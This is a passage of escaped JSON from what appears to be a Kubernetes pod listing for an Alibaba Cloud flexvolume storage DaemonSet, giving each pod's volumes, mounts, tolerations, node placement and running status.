/acs/flexvolume\"]},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"Always\",\"securityContext\":{\"privileged\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"default\",\"serviceAccount\":\"default\",\"nodeName\":\"cn-beijing.192.168.0.154\",\"hostNetwork\":true,\"hostPID\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.154\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:39Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:39Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"}],\"hostIP\":\"192.168.0.154\",\"podIP\":\"192.168.0.154\",\"podIPs\":[{\"ip\":\"192.168.0.154\"}],\"startTime\":\"2020-04-08T04:12:29Z\",\"containerStatuses\":[{\"name\":\"acs-flexvolume\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:38Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flexvolume:v1.14.8.66-1d0843f-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/flexvolume@sha256:b17527284ff2c593e0a68b114494b2ebad044004e86a94c94047f2d2771e7e1b\",\"containerID\":\"docker://8ede39f430000f0f15d891b43181655fdaabc7496b78aaf4f332582533524d8e\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"flexvolume-dbmzf\",\"generateName\":\"flexvolume-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/flexvolume-dbmzf\",\"uid\":\"215494bd-3a58-4697-9f30-c0e31f104830\",\"resourceVersion\":\"1661\",\"creationTimestamp\":\"2020-04-08T04:12:29Z\",\"labels\":{\"controller-revision-hash\":\"bfc484779\",\"name\":\"acs-flexvolume\",\"pod-template-generation\":\"1\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"flexvolume\",\"uid\":\"7eb1d60b-0e68-4ae0-8554-5f9c4e52f2bd\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"usrdir\",\"hostPath\":{\"path\":\"/usr/\",\"type\":\"\"}},{\"name\":\"etcdir\",\"hostPath\":{\"path\":\"/etc/\",\"type\":\"\"}},{\"name\":\"logdir\",\"hostPath\":{\"path\":\"/var/log/alicloud/\",\"type\":\"\"}},{\"name\":\"kubeletdir\",\"hostPath\":{\"path\":\"/var/lib/kubelet\",\"type\":\"Directory\"}},{\"name\":\"default-token-cmtwb\",\"secret\":{\"secretName\":\"default-token-cmtwb\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"acs-flexvolume\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flexvolume:v1.14.8.66-1d0843f-aliyun\",\"env\":[{\"name\":\"ACS_DISK\",\"value\":\"true\"},{\"name\":\"ACS_NAS\",\"value\":\"true\"},{\"name\":\"ACS_OSS\",\"value\":\"true\"},{\"name\":\"ACS_CPFS\",\"value\":\"false\"}],\"resources\":{\"limits\":{\"cpu\":\"1\",\"memory\":\"1000Mi\"},\"requests\":{\"cpu\":\"100m\",\"memory\":\"100Mi\"}},\"volumeMounts\":[{\"name\":\"usrdir\",\"mountPath\":\"/host/usr/\"},{\"name\":\"etcdir\",\"mountPath\":\"/host/etc/\"},{\"name\":\"logdir\",\"mountPath\":\"/var/log/alicloud/\"},{\"name\":\"kubeletdir\",\"mountPath\":\"/var/lib/kubelet\",\"mountPropagation\":\"Bidirectional\"},{\"name\":\"default-token-cmtwb\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls /acs/flexvolume\"]},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"Always\",\"securityContext\":{\"privileged\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"default\",\"serviceAccount\":\"default\",\"nodeName\":\"cn-beijing.192.168.0.153\",\"hostNetwork\":true,\"hostPID\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.153\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:38Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:38Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"}],\"hostIP\":\"192.168.0.153\",\"podIP\":\"192.168.0.153\",\"podIPs\":[{\"ip\":\"192.168.0.153\"}],\"startTime\":\"2020-04-08T04:12:29Z\",\"containerStatuses\":[{\"name\":\"acs-flexvolume\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:38Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flexvolume:v1.14.8.66-1d0843f-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/flexvolume@sha256:b17527284ff2c593e0a68b114494b2ebad044004e86a94c94047f2d2771e7e1b\",\"containerID\":\"docker://9f515c40e3fd5d9c2d99cdf6c3c95b109eca48c6f789ba9d8dc85fed1e6550c2\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"flexvolume-gfzzw\",\"generateName\":\"flexvolume-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/flexvolume-gfzzw\",\"uid\":\"05a70b7e-e3c9-4829-adf6-9176c49550cb\",\"resourceVersion\":\"1642\",\"creationTimestamp\":\"2020-04-08T04:12:29Z\",\"labels\":{\"controller-revision-hash\":\"bfc484779\",\"name\":\"acs-flexvolume\",\"pod-template-generation\":\"1\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"flexvolume\",\"uid\":\"7eb1d60b-0e68-4ae0-8554-5f9c4e52f2bd\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"usrdir\",\"hostPath\":{\"path\":\"/usr/\",\"type\":\"\"}},{\"name\":\"etcdir\",\"hostPath\":{\"path\":\"/etc/\",\"type\":\"\"}},{\"name\":\"logdir\",\"hostPath\":{\"path\":\"/var/log/alicloud/\",\"type\":\"\"}},{\"name\":\"kubeletdir\",\"hostPath\":{\"path\":\"/var/lib/kubelet\",\"type\":\"Directory\"}},{\"name\":\"default-token-cmtwb\",\"secret\":{\"secretName\":\"default-token-cmtwb\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"acs-flexvolume\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flexvolume:v1.14.8.66-1d0843f-aliyun\",\"env\":[{\"name\":\"ACS_DISK\",\"value\":\"true\"},{\"name\":\"ACS_NAS\",\"value\":\"true\"},{\"name\":\"ACS_OSS\",\"value\":\"true\"},{\"name\":\"ACS_CPFS\",\"value\":\"false\"}],\"resources\":{\"limits\":{\"cpu\":\"1\",\"memory\":\"1000Mi\"},\"requests\":{\"cpu\":\"100m\",\"memory\":\"100Mi\"}},\"volumeMounts\":[{\"name\":\"usrdir\",\"mountPath\":\"/host/usr/\"},{\"name\":\"etcdir\",\"mountPath\":\"/host/etc/\"},{\"name\":\"logdir\",\"mountPath\":\"/var/log/alicloud/\"},{\"name\":\"kubeletdir\",\"mountPath\":\"/var/lib/kubelet\",\"mountPropagation\":\"Bidirectional\"},{\"name\":\"default-token-cmtwb\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls /acs/flexvolume\"]},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"Always\",\"securityContext\":{\"privileged\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"default\",\"serviceAccount\":\"default\",\"nodeName\":\"cn-beijing.192.168.0.151\",\"hostNetwork\":true,\"hostPID\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.151\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:37Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:37Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"}],\"hostIP\":\"192.168.0.151\",\"podIP\":\"192.168.0.151\",\"podIPs\":[{\"ip\":\"192.168.0.151\"}],\"startTime\":\"2020-04-08T04:12:29Z\",\"containerStatuses\":[{\"name\":\"acs-flexvolume\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:35Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flexvolume:v1.14.8.66-1d0843f-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/flexvolume@sha256:b17527284ff2c593e0a68b114494b2ebad044004e86a94c94047f2d2771e7e1b\",\"containerID\":\"docker://d05f598cdce391445876d280cb38b141ad9c914e0a18e2c7d12ba4a215750499\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"flexvolume-hps4x\",\"generateName\":\"flexvolume-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/flexvolume-hps4x\",\"uid\":\"81252af1-d0c2-43ef-9b00-f669a68cee9e\",\"resourceVersion\":\"1777\",\"creationTimestamp\":\"2020-04-08T04:12:29Z\",\"labels\":{\"controller-revision-hash\":\"bfc484779\",\"name\":\"acs-flexvolume\",\"pod-template-generation\":\"1\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"flexvolume\",\"uid\":\"7eb1d60b-0e68-4ae0-8554-5f9c4e52f2bd\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"usrdir\",\"hostPath\":{\"path\":\"/usr/\",\"type\":\"\"}},{\"name\":\"etcdir\",\"hostPath\":{\"path\":\"/etc/\",\"type\":\"\"}},{\"name\":\"logdir\",\"hostPath\":{\"path\":\"/var/log/alicloud/\",\"type\":\"\"}},{\"name\":\"kubeletdir\",\"hostPath\":{\"path\":\"/var/lib/kubelet\",\"type\":\"Directory\"}},{\"name\":\"default-token-cmtwb\",\"secret\":{\"secretName\":\"default-token-cmtwb\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"acs-flexvolume\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flexvolume:v1.14.8.66-1d0843f-aliyun\",\"env\":[{\"name\":\"ACS_DISK\",\"value\":\"true\"},{\"name\":\"ACS_NAS\",\"value\":\"true\"},{\"name\":\"ACS_OSS\",\"value\":\"true\"},{\"name\":\"ACS_CPFS\",\"value\":\"false\"}],\"resources\":{\"limits\":{\"cpu\":\"1\",\"memory\":\"1000Mi\"},\"requests\":{\"cpu\":\"100m\",\"memory\":\"100Mi\"}},\"volumeMounts\":[{\"name\":\"usrdir\",\"mountPath\":\"/host/usr/\"},{\"name\":\"etcdir\",\"mountPath\":\"/host/etc/\"},{\"name\":\"logdir\",\"mountPath\":\"/var/log/alicloud/\"},{\"name\":\"kubeletdir\",\"mountPath\":\"/var/lib/kubelet\",\"mountPropagation\":\"Bidirectional\"},{\"name\":\"default-token-cmtwb\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls /acs/flexvolume\"]},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"Always\",\"securityContext\":{\"privileged\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"default\",\"serviceAccount\":\"default\",\"nodeName\":\"cn-beijing.192.168.0.155\",\"hostNetwork\":true,\"hostPID\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.155\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:45Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:45Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"}],\"hostIP\":\"192.168.0.155\",\"podIP\":\"192.168.0.155\",\"podIPs\":[{\"ip\":\"192.168.0.155\"}],\"startTime\":\"2020-04-08T04:12:29Z\",\"containerStatuses\":[{\"name\":\"acs-flexvolume\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:45Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flexvolume:v1.14.8.66-1d0843f-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/flexvolume@sha256:b17527284ff2c593e0a68b114494b2ebad044004e86a94c94047f2d2771e7e1b\",\"containerID\":\"docker://4c9610e623f19098a3702d632a84bf6284ab232627d986e9d99fba0f3a621ca0\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"flexvolume-lvxmt\",\"generateName\":\"flexvolume-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/flexvolume-lvxmt\",\"uid\":\"b5587527-5e4e-45d9-83cf-842b38c4150b\",\"resourceVersion\":\"1644\",\"creationTimestamp\":\"2020-04-08T04:12:29Z\",\"labels\":{\"controller-revision-hash\":\"bfc484779\",\"name\":\"acs-flexvolume\",\"pod-template-generation\":\"1\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"flexvolume\",\"uid\":\"7eb1d60b-0e68-4ae0-8554-5f9c4e52f2bd\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"usrdir\",\"hostPath\":{\"path\":\"/usr/\",\"type\":\"\"}},{\"name\":\"etcdir\",\"hostPath\":{\"path\":\"/etc/\",\"type\":\"\"}},{\"name\":\"logdir\",\"hostPath\":{\"path\":\"/var/log/alicloud/\",\"type\":\"\"}},{\"name\":\"kubeletdir\",\"hostPath\":{\"path\":\"/var/lib/kubelet\",\"type\":\"Directory\"}},{\"name\":\"default-token-cmtwb\",\"secret\":{\"secretName\":\"default-token-cmtwb\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"acs-flexvolume\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flexvolume:v1.14.8.66-1d0843f-aliyun\",\"env\":[{\"name\":\"ACS_DISK\",\"value\":\"true\"},{\"name\":\"ACS_NAS\",\"value\":\"true\"},{\"name\":\"ACS_OSS\",\"value\":\"true\"},{\"name\":\"ACS_CPFS\",\"value\":\"false\"}],\"resources\":{\"limits\":{\"cpu\":\"1\",\"memory\":\"1000Mi\"},\"requests\":{\"cpu\":\"100m\",\"memory\":\"100Mi\"}},\"volumeMounts\":[{\"name\":\"usrdir\",\"mountPath\":\"/host/usr/\"},{\"name\":\"etcdir\",\"mountPath\":\"/host/etc/\"},{\"name\":\"logdir\",\"mountPath\":\"/var/log/alicloud/\"},{\"name\":\"kubeletdir\",\"mountPath\":\"/var/lib/kubelet\",\"mountPropagation\":\"Bidirectional\"},{\"name\":\"default-token-cmtwb\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls /acs/flexvolume\"]},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"Always\",\"securityContext\":{\"privileged\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"default\",\"serviceAccount\":\"default\",\"nodeName\":\"cn-beijing.192.168.0.152\",\"hostNetwork\":true,\"hostPID\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.152\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:37Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:37Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"}],\"hostIP\":\"192.168.0.152\",\"podIP\":\"192.168.0.152\",\"podIPs\":[{\"ip\":\"192.168.0.152\"}],\"startTime\":\"2020-04-08T04:12:29Z\",\"containerStatuses\":[{\"name\":\"acs-flexvolume\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:36Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flexvolume:v1.14.8.66-1d0843f-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/flexvolume@sha256:b17527284ff2c593e0a68b114494b2ebad044004e86a94c94047f2d2771e7e1b\",\"containerID\":\"docker://cf0ae816d665f706fa0131c54dea7d3adf81957066b7b3f62eb49fc2c97a3591\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"flexvolume-x9wvb\",\"generateName\":\"flexvolume-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/flexvolume-x9wvb\",\"uid\":\"f0f163ce-3709-4e3d-a3ec-fd6d38b3a87b\",\"resourceVersion\":\"35736395\",\"creationTimestamp\":\"2020-04-08T04:12:29Z\",\"labels\":{\"controller-revision-hash\":\"bfc484779\",\"name\":\"acs-flexvolume\",\"pod-template-generation\":\"1\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"flexvolume\",\"uid\":\"7eb1d60b-0e68-4ae0-8554-5f9c4e52f2bd\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"usrdir\",\"hostPath\":{\"path\":\"/usr/\",\"type\":\"\"}},{\"name\":\"etcdir\",\"hostPath\":{\"path\":\"/etc/\",\"type\":\"\"}},{\"name\":\"logdir\",\"hostPath\":{\"path\":\"/var/log/alicloud/\",\"type\":\"\"}},{\"name\":\"kubeletdir\",\"hostPath\":{\"path\":\"/var/lib/kubelet\",\"type\":\"Directory\"}},{\"name\":\"default-token-cmtwb\",\"secret\":{\"secretName\":\"default-token-cmtwb\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"acs-flexvolume\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flexvolume:v1.14.8.66-1d0843f-aliyun\",\"env\":[{\"name\":\"ACS_DISK\",\"value\":\"true\"},{\"name\":\"ACS_NAS\",\"value\":\"true\"},{\"name\":\"ACS_OSS\",\"value\":\"true\"},{\"name\":\"ACS_CPFS\",\"value\":\"false\"}],\"resources\":{\"limits\":{\"cpu\":\"1\",\"memory\":\"1000Mi\"},\"requests\":{\"cpu\":\"100m\",\"memory\":\"100Mi\"}},\"volumeMounts\":[{\"name\":\"usrdir\",\"mountPath\":\"/host/usr/\"},{\"name\":\"etcdir\",\"mountPath\":\"/host/etc/\"},{\"name\":\"logdir\",\"mountPath\":\"/var/log/alicloud/\"},{\"name\":\"kubeletdir\",\"mountPath\":\"/var/lib/kubelet\",\"mountPropagation\":\"Bidirectional\"},{\"name\":\"default-token-cmtwb\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls /acs/flexvolume\"]},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"Always\",\"securityContext\":{\"privileged\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"default\",\"serviceAccount\":\"default\",\"nodeName\":\"cn-beijing.192.168.0.150\",\"hostNetwork\":true,\"hostPID\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[